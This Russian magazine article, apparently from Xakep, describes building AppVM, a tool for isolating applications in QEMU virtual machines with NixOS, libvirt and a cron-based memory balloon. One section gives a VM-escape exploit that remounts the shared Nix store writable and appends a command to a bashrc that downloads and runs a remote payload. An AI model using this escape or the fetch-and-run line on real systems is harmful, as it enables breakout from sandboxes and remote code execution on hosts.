Хакер - Все по песочницам! Запускаем приложения в отдельных виртуалках с помощью AppVM
Содержание статьи
- Зачем вообще использовать Qubes или запускать приложения в отдельных виртуальных машинах?
- Из чего строим
- А как же другие системы изоляции?
- Решаем вопрос с GUI
- Почему xmonad
- Скучный 0day с VM escape, который я так и не зарепортил
- Как хранить данные?
- Подключаем libvirt и разбираемся с правами
- Как аллоцировать память
- Что получилось
Я действительно люблю Qubes. Если ты с ним не сталкивался, поясню: это дистрибутив, построенный на базе гипервизора Xen, который позволяет создавать домены — честные виртуальные окружения, внутри которых приложения работают в изоляции. Ты можешь создавать домены на базе разных дистрибутивов (образов), и они смогут общаться между собой: например, шейрить файлы. В Qubes доменов может быть сколько угодно: work, personal, vault — создавай и называй как хочешь. Звучит неплохо, но есть ли альтернативы и нужны ли они?
Если бы не Xen (вместо гипервизора :)) и отсутствие возможности использовать созданные его разработчиками утилиты вне окружения дистрибутива, то я бы им даже пользовался. Но, на мой взгляд, Xen не подходит хотя бы тем, что в отличие от KVM он не в ядре в апстриме. Предлагать кому-то устанавливать Xen, только чтобы воспользоваться какой-то тулзой, — сомнительное удовольствие. В Qubes самом по себе тоже ничего плохого нет, но его нужно устанавливать и настраивать. Гораздо проще начать встраивать все хорошее из Qubes к себе в уютную Gentoo, чем ломать годами отлаженную систему.
Однако идея безопасности через виртуализацию (security through virtualization) меня по-прежнему привлекала, поэтому что-то нужно было с этим делать.
Зачем вообще использовать Qubes или запускать приложения в отдельных виртуальных машинах?
Конечно же, для повышения безопасности! Чтобы минимизировать риски заражения через ненадежные программы. Например, ты знал, что любое приложение, которые ты запускаешь у себя, имеет доступ ко всем твоим авторизациям в Chrome на всех сайтах и может слить твои сессии и выполнить любые действия на любых сайтах от твоего имени? Или получить доступ к твоим файлам. Вот этого я и постарался избежать.
Я покажу, как запускать любые, даже GUI-приложения в виртуальной машине, а также шейрить между ними файлы и буфер обмена. Последнее — это, конечно, в теории потенциальная дыра, но жить без этого будет сложновато.
Чтобы реализовать такую схему работы, я написал AppVM и сейчас покажу, как с ним обращаться.


WWW
Если ты не знаком с Nix, то будет полезно прочитать cheatsheet, который поможет понять, каким образом ведется работа в системе. А для тех, кто хочет попробовать NixOS (дистрибутив) или Nix (пакетный менеджер, которым можно пользоваться на любом дистрибутиве), будет полезно прочитать другую статью на той же вики.
Из чего строим
Изначально я видел решение в том, чтобы «собрать виртуальную машину для каждого приложения». Обернувшись блогами, как теплым клетчатым пледом, я начал искать готовые скрипты. Но все они мне показались весьма непривлекательными — за исключением примера, в котором использовался NixOS. Так и появилась первая версия AppVM, которая, по сути, была набором скриптов для установочного диска.
А как же другие системы изоляции?
В чем преимущество по сравнению с использованием SELinux или AppArmor, а быть может, еще и Firejail или bubblewrap? В лени. Виртуальные машины не только дают безопасность, их еще и проще использовать. Тебе не нужно ограничивать доступ к определенным ресурсам системы, если их просто нет.
Предельно простой конфигурационный файл Nix определил систему:
{config, pkgs, ...}:
{
imports = [
<nixpkgs/nixos/modules/installer/cd-dvd/installation-cd-minimal.nix>
];
environment.systemPackages = with pkgs; [
chromium
];
services.xserver = {
enable = true;
desktopManager.xterm.enable = false;
displayManager.slim = {
enable = true;
defaultUser = "user";
autoLogin = true;
};
displayManager.sessionCommands = "while [ 1 ]; do ${pkgs.chromium}/bin/chromium; done &";
windowManager.xmonad.enable = true;
windowManager.default = "xmonad";
};
users.extraUsers.user = {
isNormalUser = true;
extraGroups = [ "audio" ];
createHome = true;
};
}
Решаем вопрос с GUI
Использовать виртуализацию для консольных приложений, конечно, здорово, но мне бы хотелось в первую очередь запускать GUI-приложения. Например, недоверенные PDF — ты же прекрасно знаешь, как дыряв формат PDF и сколько хитрых сплоитов можно через него провернуть, чтобы исполнить код на целевой системе. Без поддержки GUI смысл AppVM минимален.
Первым делом мне понадобился графический сервер и какой-то минимальный оконный менеджер. Изначально я считал, что самое разумное решение — написать свою минималистичную реализацию оконного менеджера, которая будет делать только необходимое. Но, начав работу над этим, я осознал, что существует немало проблем, например с всплывающими окнами, и небольших особенностей, которых достаточно для того, чтобы более жирное, но отлаженное временем решение было предпочтительнее.

INFO
Почему нельзя работать вообще без оконного менеджера на голых «Иксах»? Потому, что многие приложения хотят показывать модальные и дочерние окна. Без хоть какого-нибудь оконного менеджера они будут работать некорректно.
В качестве временного решения я воспользовался xmonad, задействовав важнейшую фичу каждого тайлового оконного менеджера — возможность разворачивать окно на весь экран. А после я осознал, что xmonad настолько незаметен в системе (потребляет всего 5 Мбайт с конфигом AppVM), что разумнее воспользоваться им, а функциональность при необходимости расширить.
Почему xmonad
В работе я пробовал много оконных менеджеров, но в итоге использую только xmonad, неизменно с середины 2012 года. За это время я не столкнулся ни с одним багом, ни разу не было падения или каких-либо проблем, мешающих работать. В основе этой программы — всего три тысячи строк на Haskell, а если убрать комменты, останется около двух. Для сравнения: i3wm — около 40 тысяч строк на С, а mutter из проекта GNOME — 150 тысяч строк. Легковесность победила!
В итоге определенный конфигурационный файл Nix собирался в ISO:
$ nix-build '<nixpkgs/nixos>' -A config.system.build.isoImage -I nixos-config=chromium.nix
После чего запускался с помощью QEMU:
$ qemu-system-x86_64 -smp 2 -m 1024 -enable-kvm -sandbox on -cdrom result/iso/nixos-*-linux.iso
Это работало, и это было хорошо. Но недостаточно. Проблема в том, что каждое приложение требовало включать в ISO все системные библиотеки и файлы, — когда используется одно или два приложения, это еще приемлемо, но если их пять-семь, то уже не доставляет.
Решение не заставило себя ждать, и оно при этом уже было частью проекта Nix:
$ head nixos/modules/virtualisation/qemu-vm.nix
## This module creates a virtual machine from the NixOS configuration.
## Building the `config.system.build.vm' attribute gives you a command
## that starts a KVM/QEMU VM running the NixOS configuration defined in
## `config'. The Nix store is shared read-only with the host, which
## makes (re)building VMs very efficient. However, it also means you
## can’t reconfigure the guest inside the guest — you need to rebuild
## the VM in the host. On the other hand, the root filesystem is a
## read/writable disk image persistent across VM reboots.
Выглядит как то, что мне и было нужно!
Как реализовать общее дисковое пространство, которое будет доступно для чтения и хостовой системе, и гостевой? Я для этого использовал VirtFS (Plan 9 folder sharing over Virtio, между прочим) и пробросил через директорию /nix/store
.
Скучный 0day с VM escape, который я так и не зарепортил
Немного опробовав готовое решение в деле, я начал адаптировать его к своим хотелкам и попутно нашел скучный «0day» — возможность выйти за пределы VM. Как видно в описании модуля, Nix store (суть которого — директория /nix) расшаривается с гостевой ОС. Тут-то собака и оказалась зарыта.
## Start QEMU
exec ${qemuBinary qemu} \
-name ${vmName} \
-m ${toString config.virtualisation.memorySize} \
-smp ${toString config.virtualisation.cores} \
-device virtio-rng-pci \
${concatStringsSep " " config.virtualisation.qemu.networkingOptions} \
-virtfs local,path=/nix/store,security_model=none,mount_tag=store \
-virtfs local,path=$TMPDIR/xchg,security_model=none,mount_tag=xchg \
-virtfs local,path=''${SHARED_DIR:-$TMPDIR/xchg},security_model=none,mount_tag=shared \
...
Можно было бы подумать: «Ага! security_model=none!», но нет. Они забыли добавить опцию readonly, тем самым сведя выход из виртуальной машины всего к двум действиям:
mount -o remount,rw /nix/store
echo 'wget https://172.16.81.100/payload && ./payload' >> /nix/store/*/etc/bashrc
Подробнее об опциях VirtFS можно прочитать в вики QEMU.
Как хранить данные?
Вернемся к нашим костылям реализации. На данный момент у нас уже есть виртуальная машина, в которой запускается нужное нам приложение и которая использует директорию /nix/store
, проброшенную с хоста. В итоге виртуальная машина почти не занимает места на жестком диске. Nix store, безусловно, занимает весьма много (так как содержит все основные системные пакеты), но эту проблему простым способом уже не решить. Благо в одном экземпляре это не составляет проблемы.
У меня в качестве хранилища файлов конфигурации использовался диск qcow2, подключенный в режиме writeback. Туда и записывалась разница между исходной запущенной системой и внесенными изменениями. Проблема такого подхода проявилась очень быстро, а если точнее — после первого же обновления: при использовании дисков в режиме «писать только разницу» обновить базовую систему не получится, так как она в этом случае будет другой.
Тогда я принял решение пробрасывать через VirtFS директорию гостя /home/user
на хост точно так же, как и /nix/store
. Таким образом получилось и хранилище файлов, и одновременно shared directory.
Подключаем libvirt и разбираемся с правами
Тут стало понятно, что запуск QEMU из терминала недостаточно удобен, так как приложения «теряются». Нужно либо убивать их руками (звучит пугающе, я знаю), либо написать обертку, которая будет следить за ними. Это привело меня к libvirt.

INFO
Для тех, кто не сталкивался с libvirt, поясню, что это такое. Эта библиотека обеспечивает простую возможность управления виртуальными машинами как из терминала, так и из GUI (virt-manager) и при этом поддерживает разные системы виртуализации (как слой абстракции). Одна из полезных особенностей — то, что при использовании с QEMU/KVM libvirt в отличие от VirtualBox не требует установки дополнительных драйверов.
Существует возможность конвертировать командную строку QEMU в описание libvirt — это значительно облегчило мне переход. Проблемы проявились позже из-за того, что QEMU начал запускаться от другого пользователя.
Сначала я пытался решить проблему стандартными методами, с помощью ACL и бита sgid (если установить его на директорию, то можно автоматически присваивать права доступа на созданные файлы владельцу директории). Но к сожалению, QEMU создавал новые файлы на хостовой системе с правами 00 для group и other, что мешает использовать все перечисленное выше (или я в чем-то ошибся, не дойдя до решения).
Вопреки моим ожиданиям, suid на директорию работает иным образом. Подробнее об этом можешь почитать в документации проекта GNU для coreutils.
В итоге проще оказалось просто сменить пользователя libvirt на своего, тем самым потеряв немного в безопасности, но приобретя в юзабилити. Я просто поменял в /etc/libvirt/qemu.conf
пользователя, от имени которого запускаются виртуальные машины.
Как аллоцировать память
Мне оставалось еще решить проблему с потреблением памяти. Статическое выделение слабо подходит для большого количества приложений, а проект по автоматическому изменению памяти Automatic Ballooning, к сожалению, с 2013 года не продвигался. В апстриме этого нет.
Вооружившись изолентой и костылями, я написал свою реализацию — безусловно, временную (хотя все временное имеет свойство становиться постоянным). Сложно ее назвать элегантной, но она, как ни странно, работает. Идея до безумия проста и состоит в создании задачи cron в гостевой системе.
services.cron = {
enable = true;
systemCronJobs = [
"* * * * * root free -m | grep Mem | awk '{print $2 \"-\" $4}' | bc > /home/user/.memory_used"
];
};
Аналогичную задачу создаем и на хосте:
$ crontab -l
* * * * * /home/user/bin/appvm autoballoon
Это решение забирает текущее количество памяти из виртуальной машины, добавляет к этому значению 20%, после чего устанавливает полученное значение как размер памяти виртуальной машины. В Linux есть поддержка изменения размера памяти подобным образом — динамически. Решение, конечно, далеко от идеала, но оно позволяет нам относительно комфортно работать.
user@localhost $ appvm autoballoon
+----------------+-------------+----------------+------------+------------+
| APPLICATION VM | USED MEMORY | CURRENT MEMORY | MAX MEMORY | NEW MEMORY |
+----------------+-------------+----------------+------------+------------+
| chromium | 551936 | 1048576 | 2097152 | 1048576 |
| wire | 932864 | 1119436 | 2097152 | 1119436 |
| torbrowser | 734208 | 1048576 | 2097152 | 1048576 |
+----------------+-------------+----------------+------------+------------+
Оставалась проблема с автоматическим изменением разрешения экрана, но ее решить на данный момент так и не удалось. Если ты сделаешь это быстрее меня, то буду рад получить твой pull request!
Что получилось
В итоге получилось очень простое решение. Вот что нужно сделать для старта.
Установи пакетный менеджер Nix:
$ sudo mkdir -m 0755 /nix && sudo chown $USER /nix
$ curl https://nixos.org/nix/install | sh
$ . ~/.nix-profile/etc/profile.d/nix.sh
Укажи, что libvirt должен работать из-под нашего пользователя — это нужно для доступа к расшаренным с виртуалкой файлам:
$ echo user = "\"$USER\"" | sudo tee -a /etc/libvirt/qemu.conf
$ sudo systemctl restart libvirtd
Установи сам AppVM:
$ go get github.com/jollheef/appvm
Обнови:
$ go get -u github.com/jollheef/appvm
Сгенерируй разрешение. По умолчанию используется 1920×1080; если нужно другое, задай его в appvm/nix/monitor.nix:
$ $GOPATH/src/github.com/jollheef/appvm/generate-resolution.sh 3840 2160 > $GOPATH/src/github.com/jollheef/appvm/nix/monitor.nix
Запускай Chrome:
$ appvm start chromium --verbose
Подробнее смотри в README.md из репозитория AppVM.
Подытожу преимущества этого подхода:
- AppVM использует QEMU;
- для всех VM используется одна директория /nix, и каждое последующее приложение в VM не занимает значительного пространства на диске;
- для управления виртуальными машинами используется libvirt, для отображения — virt-viewer;
- есть базовая реализация перераспределения памяти на основе memory balloon, что позволяет уменьшить потребление памяти.
В текущий момент проект имеет ограничение: не поддерживается автоматическое изменение разрешения экрана внутри виртуальной машины. При этом используется автоматическое масштабирование в virt-manager.
В общем, ставь звездочки репозиторию, подписывайся на мой GitHub, и, возможно, когда-то кто-то обратится ко мне за рекламной интеграцией в коммиты. Тогда-то наконец я смогу зарабатывать на open source & free software!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei